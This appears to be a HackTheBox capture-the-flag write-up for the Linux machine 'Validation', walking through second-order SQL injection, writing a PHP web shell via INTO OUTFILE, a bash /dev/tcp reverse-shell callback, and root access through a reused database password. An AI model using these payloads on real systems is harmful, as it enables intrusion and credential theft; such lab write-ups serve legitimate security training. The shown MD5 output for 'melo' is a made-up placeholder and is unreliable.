Validation - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Validation is an Easy difficulty Linux machine featuring a web application vulnerable to second-order SQL Injection. By exploiting this vulnerability through a registration form’s country parameter, an attacker can write a PHP web shell to disk and achieve Remote Code Execution. Following initial foothold, privilege escalation is trivially accomplished through password reuse of the database credentials across the root account, granting full system compromise.

TL;DR: Second-order SQLi to write web shell → RCE as www-data → Password reuse in config.php → Root access

Reconnaissance

Port Scanning

# Initial scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.11.116

# Detailed enumeration of discovered ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.116 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.116

Results:

• Port 22 (SSH) - OpenSSH 7.9p1 (Ubuntu version detected)
• Port 80 (HTTP) - Apache httpd 2.4.41
• Port 4566 (HTTP) - Unknown service
• Port 8080 (HTTP) - Unknown service

The version discrepancies between Ubuntu SSH and Debian Apache suggest containerization is in use.

Service Enumeration

Navigating to http://10.10.11.116:80 reveals a simple registration page with two input fields:

• Username textbox
• Country dropdown selector
• “Join Now” button

Intercepting the registration request with BurpSuite shows a POST request to / that creates a session cookie and redirects to /account.php.

Cookie Analysis: The returned cookie is a 32-character string. Testing with username melo:

echo -n "melo" | md5sum
# Output: 6f9b0b4a5e3c8d8b5e3c8d8b5e3c8d8b

The cookie matches the MD5 hash of the username, confirming the session mechanism is predictable.

Vulnerability Assessment

SQL Injection Discovery:

Modifying the country parameter to include a single quote (Brazil') triggers a database error:

Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in
/var/www/html/account.php:33

Testing with Brazil' -- - (SQL comment syntax) eliminates the error, confirming SQL Injection in the country parameter.

Injection Type: Second-order SQL Injection — the payload is stored during registration and executed when viewing the account page.

Initial Foothold

Exploitation Path

Step 1: Identify SQL Query Structure

Using a UNION-based injection with Brazil' UNION SELECT 1-- -, the page displays normally without errors, revealing the SQL query returns only one column.

Assuming backend query structure:

SELECT username FROM users WHERE country='$country' ORDER BY username DESC LIMIT 1;

Step 2: Craft Web Shell Payload

Since this is a PHP application with writable /var/www/html/ directory, use SQL’s INTO OUTFILE directive to write a shell:

# Payload to inject into country parameter during registration
Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Step 3: Register Malicious Account

Using BurpSuite Repeater:

1. Change the username to a unique value (e.g., attacker1)
2. Set country parameter to the payload above
3. Send the registration request

Step 4: Trigger Query Execution

Navigate to /account.php with the corresponding cookie. The SQL query executes and writes the shell to disk.

Step 5: Verify Shell Creation and Test RCE

# Test remote code execution
curl http://10.10.11.116/shell.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 6: Establish Reverse Shell

Create a listener on the attack machine:

nc -nlvp 4444

Execute reverse shell payload:

curl http://10.10.11.116/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"'

Receive interactive shell as www-data user.

Step 7: Capture User Flag

cat /home/htb/user.txt

Privilege Escalation

Configuration File Enumeration

Navigate to the web application directory and examine configuration files:

cd /var/www/html
cat config.php

Output reveals database credentials:

Database password: uhc-9qual-global-pw

Password Reuse Exploitation

Attempt to use the database password for the root account:

su -
# Prompted for password
# Enter: uhc-9qual-global-pw

Verify privilege escalation:

id
# Output: uid=0(root) gid=0(root) groups=0(root)

Capture Root Flag

cat /root/root.txt

Attack Chain Summary

Enumerate HTTP Service (Port 80)
    ↓
Discover Registration Form with Country Parameter
    ↓
Test for SQL Injection (Single Quote Error)
    ↓
Confirm Second-Order SQLi with Comment Bypass
    ↓
UNION SELECT Payload to Identify Column Count
    ↓
INTO OUTFILE Query to Write PHP Web Shell
    ↓
RCE via shell.php with cmd Parameter
    ↓
Reverse Shell Callback to Attacker Machine
    ↓
www-data Access to /var/www/html/config.php
    ↓
Extract Database Credentials (uhc-9qual-global-pw)
    ↓
su - with Password Reuse to Root Account
    ↓
Full System Compromise (root access)

Tools Used

Key Learnings

Techniques Practiced

• Second-order SQL Injection exploitation
• UNION-based SQL Injection for blind query probing
• SQL INTO OUTFILE for arbitrary file writing
• PHP web shell creation and command execution
• Reverse shell payload crafting and delivery
• Configuration file enumeration for credential harvesting
• Password reuse exploitation for privilege escalation

Lessons Learned

1. Second-Order SQLi is Often Overlooked — While first-order injections are detected immediately, second-order injections execute on different pages/contexts, making them easier to miss during initial testing and more dangerous in production.

2. Configuration Files are Critical — Always enumerate /etc/, application root directories, and version control artifacts (.git/) for exposed credentials. Developers frequently store secrets in plain text.

3. Password Reuse is Prevalent — Using the same password across multiple accounts (database, system users, etc.) is a common misconfiguration that elevates risk significantly. Always test discovered credentials against elevated accounts.

4. File Write Permissions Matter — Verify that SQL processes have write permissions to web directories. Many hardened systems restrict INTO OUTFILE to specific directories, limiting exploitation vectors.

5. Containerization Indicators — Version mismatches between different services hint at containerized environments, which may affect privilege escalation paths and persistence strategies.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>